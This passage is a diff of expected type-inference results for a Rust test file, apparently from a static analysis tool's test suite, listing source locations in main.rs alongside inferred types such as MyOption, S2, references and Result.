2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1035:13:1035:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1035:21:1035:38 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1035:21:1035:38 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1036:13:1036:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1036:22:1036:40 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1036:22:1036:40 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1036:39:1036:39 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1038:18:1038:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1038:26:1038:35 | from_match | | main.rs:967:5:971:5 | MyOption | +| main.rs:1038:26:1038:35 | from_match | T | main.rs:1002:5:1003:13 | S | +| main.rs:1040:13:1040:21 | from_loop | | main.rs:967:5:971:5 | MyOption | +| main.rs:1040:13:1040:21 | from_loop | T | main.rs:1002:5:1003:13 | S | +| main.rs:1040:25:1045:9 | loop { ... } | | main.rs:967:5:971:5 | MyOption | +| main.rs:1040:25:1045:9 | loop { ... } | T | main.rs:1002:5:1003:13 | S | +| main.rs:1041:16:1041:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1041:20:1041:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1041:24:1041:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1042:23:1042:40 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1042:23:1042:40 | ...::MyNone(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1044:19:1044:37 | ...::MySome(...) | | main.rs:967:5:971:5 | MyOption | +| main.rs:1044:19:1044:37 | ...::MySome(...) | T | main.rs:1002:5:1003:13 | S | +| main.rs:1044:36:1044:36 | S | | main.rs:1002:5:1003:13 | S | +| main.rs:1046:18:1046:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1046:26:1046:34 | from_loop | | main.rs:967:5:971:5 | MyOption | +| main.rs:1046:26:1046:34 | from_loop | T | main.rs:1002:5:1003:13 | S | +| main.rs:1059:15:1059:18 | SelfParam | | main.rs:1052:5:1053:19 | S | +| main.rs:1059:15:1059:18 | SelfParam | T | main.rs:1058:10:1058:10 | T | +| main.rs:1059:26:1061:9 | { ... } | | main.rs:1058:10:1058:10 | T | +| main.rs:1060:13:1060:16 | self | | main.rs:1052:5:1053:19 | S | +| main.rs:1060:13:1060:16 | self | T | main.rs:1058:10:1058:10 | T | +| main.rs:1060:13:1060:18 | self.0 | | main.rs:1058:10:1058:10 | T | +| main.rs:1063:15:1063:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1063:15:1063:19 | SelfParam | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1063:15:1063:19 | SelfParam | &T.T | main.rs:1058:10:1058:10 | T | +| main.rs:1063:28:1065:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1063:28:1065:9 | { ... } | &T | main.rs:1058:10:1058:10 | T | +| main.rs:1064:13:1064:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1064:13:1064:19 | &... | &T | main.rs:1058:10:1058:10 | T | +| main.rs:1064:14:1064:17 | self | | file://:0:0:0:0 | & | +| main.rs:1064:14:1064:17 | self | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1064:14:1064:17 | self | &T.T | main.rs:1058:10:1058:10 | T | +| main.rs:1064:14:1064:19 | self.0 | | main.rs:1058:10:1058:10 | T | +| main.rs:1067:15:1067:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1067:15:1067:25 | SelfParam | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1067:15:1067:25 | SelfParam | &T.T | main.rs:1058:10:1058:10 | T | +| main.rs:1067:34:1069:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1067:34:1069:9 | { ... } | &T | main.rs:1058:10:1058:10 | T | +| main.rs:1068:13:1068:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1068:13:1068:19 | &... | &T | main.rs:1058:10:1058:10 | T | +| main.rs:1068:14:1068:17 | self | | file://:0:0:0:0 | & | +| main.rs:1068:14:1068:17 | self | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1068:14:1068:17 | self | &T.T | main.rs:1058:10:1058:10 | T | +| main.rs:1068:14:1068:19 | self.0 | | main.rs:1058:10:1058:10 | T | +| main.rs:1073:13:1073:14 | x1 | | main.rs:1052:5:1053:19 | S | +| main.rs:1073:13:1073:14 | x1 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1073:18:1073:22 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1073:18:1073:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1073:20:1073:21 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1074:18:1074:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1074:26:1074:27 | x1 | | main.rs:1052:5:1053:19 | S | +| main.rs:1074:26:1074:27 | x1 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1074:26:1074:32 | x1.m1() | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1076:13:1076:14 | x2 | | main.rs:1052:5:1053:19 | S | +| main.rs:1076:13:1076:14 | x2 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1076:18:1076:22 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1076:18:1076:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1076:20:1076:21 | S2 | | main.rs:1055:5:1056:14 | S2 | | main.rs:1078:18:1078:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1078:26:1078:27 | x7 | | main.rs:1026:5:1027:19 | S | -| main.rs:1078:26:1078:27 | x7 | T | file://:0:0:0:0 | & | -| main.rs:1078:26:1078:27 | x7 | T.&T | main.rs:1029:5:1030:14 | S2 | -| main.rs:1085:16:1085:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1085:16:1085:20 | SelfParam | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | -| main.rs:1088:16:1088:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1088:16:1088:20 | SelfParam | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | -| main.rs:1088:32:1090:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1088:32:1090:9 | { ... } | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | -| main.rs:1089:13:1089:16 | self | | file://:0:0:0:0 | & | -| main.rs:1089:13:1089:16 | self | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | -| main.rs:1089:13:1089:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:1089:13:1089:22 | self.foo() | &T | main.rs:1083:5:1091:5 | Self [trait MyTrait] | -| main.rs:1097:16:1097:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1097:16:1097:20 | SelfParam | &T | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1097:36:1099:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1097:36:1099:9 | { ... } | &T | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1098:13:1098:16 | self | | file://:0:0:0:0 | & | -| main.rs:1098:13:1098:16 | self | &T | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1103:13:1103:13 | x | | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1103:17:1103:24 | MyStruct | | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1104:9:1104:9 | x | | main.rs:1093:5:1093:20 | MyStruct | -| main.rs:1104:9:1104:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:1104:9:1104:15 | x.bar() | &T | main.rs:1093:5:1093:20 | MyStruct | +| main.rs:1078:26:1078:27 | x2 | | main.rs:1052:5:1053:19 | S | +| main.rs:1078:26:1078:27 | x2 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1078:26:1078:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:1078:26:1078:32 | x2.m2() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1079:18:1079:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1079:26:1079:27 | x2 | | main.rs:1052:5:1053:19 | S | +| main.rs:1079:26:1079:27 | x2 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1079:26:1079:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:1079:26:1079:32 | x2.m3() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1081:13:1081:14 | x3 | | main.rs:1052:5:1053:19 | S | +| main.rs:1081:13:1081:14 | x3 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1081:18:1081:22 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1081:18:1081:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1081:20:1081:21 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1083:18:1083:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1083:26:1083:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1083:26:1083:41 | ...::m2(...) | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1083:38:1083:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1083:38:1083:40 | &x3 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1083:38:1083:40 | &x3 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1083:39:1083:40 | x3 | | main.rs:1052:5:1053:19 | S | +| main.rs:1083:39:1083:40 | x3 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1084:18:1084:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1084:26:1084:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1084:26:1084:41 | ...::m3(...) | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1084:38:1084:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1084:38:1084:40 | &x3 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1084:38:1084:40 | &x3 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1084:39:1084:40 | x3 | | main.rs:1052:5:1053:19 | S | +| main.rs:1084:39:1084:40 | x3 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1086:13:1086:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1086:13:1086:14 | x4 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1086:13:1086:14 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1086:18:1086:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1086:18:1086:23 | &... | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1086:18:1086:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1086:19:1086:23 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1086:19:1086:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1086:21:1086:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1088:18:1088:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1088:26:1088:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1088:26:1088:27 | x4 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1088:26:1088:27 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1088:26:1088:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1088:26:1088:32 | x4.m2() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1089:18:1089:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1089:26:1089:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1089:26:1089:27 | x4 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1089:26:1089:27 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1089:26:1089:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1089:26:1089:32 | x4.m3() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1091:13:1091:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1091:13:1091:14 | x5 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1091:13:1091:14 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1091:18:1091:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1091:18:1091:23 | &... | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1091:18:1091:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1091:19:1091:23 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1091:19:1091:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1091:21:1091:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1093:18:1093:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1093:26:1093:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1093:26:1093:27 | x5 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1093:26:1093:27 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1093:26:1093:32 | x5.m1() | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1094:18:1094:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1094:26:1094:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1094:26:1094:27 | x5 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1094:26:1094:27 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1094:26:1094:29 | x5.0 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1096:13:1096:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:1096:13:1096:14 | x6 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1096:13:1096:14 | x6 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1096:18:1096:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1096:18:1096:23 | &... | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1096:18:1096:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1096:19:1096:23 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1096:19:1096:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1096:21:1096:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1098:18:1098:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1098:26:1098:30 | (...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1098:26:1098:30 | (...) | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1098:26:1098:35 | ... .m1() | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1098:27:1098:29 | * ... | | main.rs:1052:5:1053:19 | S | +| main.rs:1098:27:1098:29 | * ... | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1098:28:1098:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1098:28:1098:29 | x6 | &T | main.rs:1052:5:1053:19 | S | +| main.rs:1098:28:1098:29 | x6 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1100:13:1100:14 | x7 | | main.rs:1052:5:1053:19 | S | +| main.rs:1100:13:1100:14 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1100:13:1100:14 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1100:18:1100:23 | S(...) | | main.rs:1052:5:1053:19 | S | +| main.rs:1100:18:1100:23 | S(...) | T | file://:0:0:0:0 | & | +| main.rs:1100:18:1100:23 | S(...) | T.&T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1100:20:1100:22 | &S2 | | file://:0:0:0:0 | & | +| main.rs:1100:20:1100:22 | &S2 | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1100:21:1100:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1103:13:1103:13 | t | | file://:0:0:0:0 | & | +| main.rs:1103:13:1103:13 | t | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1103:17:1103:18 | x7 | | main.rs:1052:5:1053:19 | S | +| main.rs:1103:17:1103:18 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1103:17:1103:18 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1103:17:1103:23 | x7.m1() | | file://:0:0:0:0 | & | +| main.rs:1103:17:1103:23 | x7.m1() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1104:18:1104:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1104:26:1104:27 | x7 | | main.rs:1052:5:1053:19 | S | +| main.rs:1104:26:1104:27 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1104:26:1104:27 | x7 | T.&T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1111:16:1111:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1111:16:1111:20 | SelfParam | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | | main.rs:1114:16:1114:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1114:16:1114:20 | SelfParam | &T | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1114:16:1114:20 | SelfParam | &T.T | main.rs:1113:10:1113:10 | T | +| main.rs:1114:16:1114:20 | SelfParam | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | | main.rs:1114:32:1116:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1114:32:1116:9 | { ... } | &T | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1114:32:1116:9 | { ... } | &T.T | main.rs:1113:10:1113:10 | T | +| main.rs:1114:32:1116:9 | { ... } | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | | main.rs:1115:13:1115:16 | self | | file://:0:0:0:0 | & | -| main.rs:1115:13:1115:16 | self | &T | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1115:13:1115:16 | self | &T.T | main.rs:1113:10:1113:10 | T | -| main.rs:1120:13:1120:13 | x | | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1120:13:1120:13 | x | T | main.rs:1109:5:1109:13 | S | -| main.rs:1120:17:1120:27 | MyStruct(...) | | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1120:17:1120:27 | MyStruct(...) | T | main.rs:1109:5:1109:13 | S | -| main.rs:1120:26:1120:26 | S | | main.rs:1109:5:1109:13 | S | -| main.rs:1121:9:1121:9 | x | | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1121:9:1121:9 | x | T | main.rs:1109:5:1109:13 | S | -| main.rs:1121:9:1121:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:1121:9:1121:15 | x.foo() | &T | main.rs:1111:5:1111:26 | MyStruct | -| main.rs:1121:9:1121:15 | x.foo() | &T.T | main.rs:1109:5:1109:13 | S | -| main.rs:1129:15:1129:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1129:15:1129:19 | SelfParam | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1129:31:1131:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1129:31:1131:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1130:13:1130:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1130:13:1130:19 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1130:14:1130:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1130:14:1130:19 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1130:15:1130:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1130:15:1130:19 | &self | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1130:16:1130:19 | self | | file://:0:0:0:0 | & | -| main.rs:1130:16:1130:19 | self | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1133:15:1133:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1133:15:1133:25 | SelfParam | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1133:37:1135:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1133:37:1135:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1134:13:1134:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1134:13:1134:19 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1134:14:1134:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1134:14:1134:19 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1134:15:1134:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1134:15:1134:19 | &self | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1134:16:1134:19 | self | | file://:0:0:0:0 | & | -| main.rs:1134:16:1134:19 | self | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1137:15:1137:15 | x | | file://:0:0:0:0 | & | -| main.rs:1137:15:1137:15 | x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1137:34:1139:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1137:34:1139:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1138:13:1138:13 | x | | file://:0:0:0:0 | & | -| main.rs:1138:13:1138:13 | x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1141:15:1141:15 | x | | file://:0:0:0:0 | & | -| main.rs:1141:15:1141:15 | x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1141:34:1143:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1141:34:1143:9 | { ... } | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1142:13:1142:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1142:13:1142:16 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1142:14:1142:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1142:14:1142:16 | &... | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1142:15:1142:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1142:15:1142:16 | &x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1142:16:1142:16 | x | | file://:0:0:0:0 | & | -| main.rs:1142:16:1142:16 | x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1147:13:1147:13 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1147:17:1147:20 | S {...} | | main.rs:1126:5:1126:13 | S | -| main.rs:1148:9:1148:9 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1148:9:1148:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1148:9:1148:14 | x.f1() | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1149:9:1149:9 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1149:9:1149:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1149:9:1149:14 | x.f2() | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1150:9:1150:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1150:9:1150:17 | ...::f3(...) | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1150:15:1150:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1150:15:1150:16 | &x | &T | main.rs:1126:5:1126:13 | S | -| main.rs:1150:16:1150:16 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1164:43:1167:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1164:43:1167:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1164:43:1167:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:13:1165:13 | x | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:17:1165:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1165:17:1165:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:17:1165:31 | TryExpr | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:28:1165:29 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1166:9:1166:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1166:9:1166:22 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1166:9:1166:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1166:20:1166:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1170:46:1174:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1170:46:1174:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1170:46:1174:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:13:1171:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1171:13:1171:13 | x | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:17:1171:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1171:17:1171:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:28:1171:29 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1172:13:1172:13 | y | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1172:17:1172:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1172:17:1172:17 | x | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1172:17:1172:18 | TryExpr | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1173:9:1173:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1173:9:1173:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1173:9:1173:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1173:20:1173:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1177:40:1182:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1177:40:1182:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1177:40:1182:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:13:1178:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:13:1178:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:13:1178:13 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:17:1178:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:17:1178:42 | ...::Ok(...) | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:28:1178:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:28:1178:41 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:39:1178:40 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1180:17:1180:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1180:17:1180:17 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1180:17:1180:18 | TryExpr | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1181:9:1181:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1181:9:1181:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1181:9:1181:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1181:20:1181:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| 